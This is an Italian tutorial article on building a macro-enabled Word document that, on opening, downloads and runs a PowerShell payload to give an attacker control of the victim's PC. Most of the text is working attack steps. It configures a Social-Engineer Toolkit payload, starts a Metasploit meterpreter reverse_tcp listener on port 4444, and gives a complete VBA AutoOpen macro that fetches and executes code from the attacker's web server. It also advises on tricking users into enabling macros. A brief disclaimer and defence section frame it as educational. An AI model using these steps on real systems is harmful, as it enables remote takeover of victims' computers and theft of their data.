In questo articolo vedremo come creare una macro in Microsoft Visual Basic, includendola in un documento di Microsoft Office Word facendo sì che l'apertura del file scarichi un payload precedentemente configurato. Tale payload sarà quindi avviato e permetterà di prendere il controllo del PC. Questa tecnica, che rappresenta un semplice (ma efficace) attacco basato sulle macro, diventa molto potente se combinata con alcuni accorgimenti di Social Engineering.
Il contenuto di questo articolo ha scopi puramente didattici e divulgativi. La conoscenza di questo tipo di attacchi informatici è finalizzata ad evitarli e prevenerli.
Configurazione del PAYLOAD
Per realizzare un documento di Word infetto utilizzeremo:
- Microsoft Office Word 2007, versione 12.0.6425.1000 SP2;
- Kali Linux (versione 2017.1-vm-amd64) con il toolkit di Social-Engineer, Apache Web Server e il framework Metasploit.
La prima cosa da fare è creare il payload che ci permetterà di stabilire il collegamento con il PC e ottenerne il controllo. Apriamo quindi una shell in Kali Linux e digitiamo:
setoolkit
Dalla console digitiamo 1 per selezionare social engineering attacks, poi 9 per powershell attack vectors, e per ultimo 1 per powershell alphanumeric shellcode injector.
Ora bisogna iniziare a programmare il payload fornendo alcuni dati di configurazione. Il primo è l’indirizzo IP della macchina attaccante che prende il nome di localhost (di seguito LHOST). Se non lo si conosce, è possibile ottenerlo aprendo una nuova shell e digitando:
ifconfig
Otterremo un risultato simile al seguente:
Quello che ci interessa è l'interfaccia collegata alla rete, generalmente identificata dalle sigle eth0 o wlan0. Nel nostro caso, essendo collegati tramite cavo di rete, scegliamo eth0. L’IP da prendere in considerazione è quello riportato subito dopo la voce inet, quindi 192.168.217.128. Questo è l’indirizzo da inserire nel campo LHOST richiesto dal tool di Social Engineering.
Fissato l’indirizzo IP, ci viene chiesto di selezionare una porta per le comunicazioni port for the reverse (di seguito LPORT). Per comodità usiamo quella predefinita di meterpreter, ovvero la 4444, sebbene ovviamente possiamo sceglierne una qualsiasi. Come passo successivo, il tool ci chiede se vogliamo avviare l’ascolto immediatamente (start the listener now). Selezioniamo no, poichè avvieremo il tutto in un secondo momento.
Conclusa la configurazione del tool di Social Engineering, dobbiamo ora spostare il payload appena configurato sul nostro server web. A tale scopo, apriamo una nuova shell e digitiamo:
mv /root/.set/reports/powershell/x86_powershell_injection.txt /var/www/html/payload.txt
Digitiamo quindi il comando seguente per avviare il server web:
service apache2 start
Passiamo ad avviare il Listener, cioè l’applicazione che si occuperà di rimanere in attesa della chiamata che il payload effettuerà quando attivato. A tale scopo, apriremo una sessione di meterpreter. Per farlo, apriamo una shell e digitiamo:
msfconsole
Una volta caricato, digitiamo:
use multi/handler
Seguono una serie di impostazioni da digitare:
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.217.128
set LPORT 4444
Si ricordi di modificare LHOST inserendo l’indirizzo IP locale trovato precedentemente, e di impostare la LPORT che si è deciso di utilizzare durante la configurazione del payload.
Infine, digitiamo exploit
e premiamo il tasto Invio per avviare il listener.
Creazione del file Word
Ora dobbiamo aggiungere il comando PowerShell al documento Microsoft Word. Questo comando avvia il download del payload dal nostro server web e lo esegue.
Per prima cosa, apriamo Microsoft Word e creiamo un nuovo documento, denominato ad esempio test.docm. Assicuriamoci, inoltre, che la voce Documento di Word con Attivazione Macro sia selezionata dal menu a discesa, come riportato in figura.
Successivamente, nella scheda Visualizza, clicchiamo su Macro sul lato destro.
Verrà richiesto di creare una nuova macro, quindi digitiamo nel campo Nome Macro la voce MACRO_1 e faciamo clic su Crea. Inoltre, assicuriamoci che il menu a discesa accanto a Macro in: abbia il nome del documento selezionato. e non la voce Tutti i modelli e documenti attivi.
Adesso basta incollare il semplice script VBA seguente:
Sub MACRO_1()
Dim exec As String
exec = "powershell.exe ""IEX ((new-object net.webclient).
downloadstring('http://192.168.217.128/payload.txt'))"""
Shell (exec)
End Sub
Sub AutoOpen()
MACRO_1
End Sub
Sub Workbook_Open()
MACRO_1
End Sub
Salviamo la macro ed il documento, ed il nostro file è pronto per l'uso. Un utente distratto che aprirà il documento e attiverà l’esecuzione delle macro avvierà la nostra PowerShell e ci permetterà di ottenere il controllo del PC.
Per aumentare la percentuale di attivazione, possiamo ricorrere al Social Engineering. Potremmo inserire un messaggio rassicurante che inviti ad attivare i contenuti bloccati, come per esempio il seguente:
Come difendersi
Oggi è molto facile creare dei file infetti che possono mettere in serio pericolo i nostri dati e la nostra privacy.
L'apertura di una shell, come quella di quest'articolo, difficilmente viene notata da un utente.
Nel caso di Microsoft Word, l’inserimento di una semplice macro crea un tunnel diretto con il cybercriminale, che può prendere il controllo del nostro PC o violare la nostra privacy.
È quindi buona prassi evitare l’apertura di file di cui non si conoscete la provenienza, evitando anche di attivare le macro di Office a meno di non essere certi del loro codice.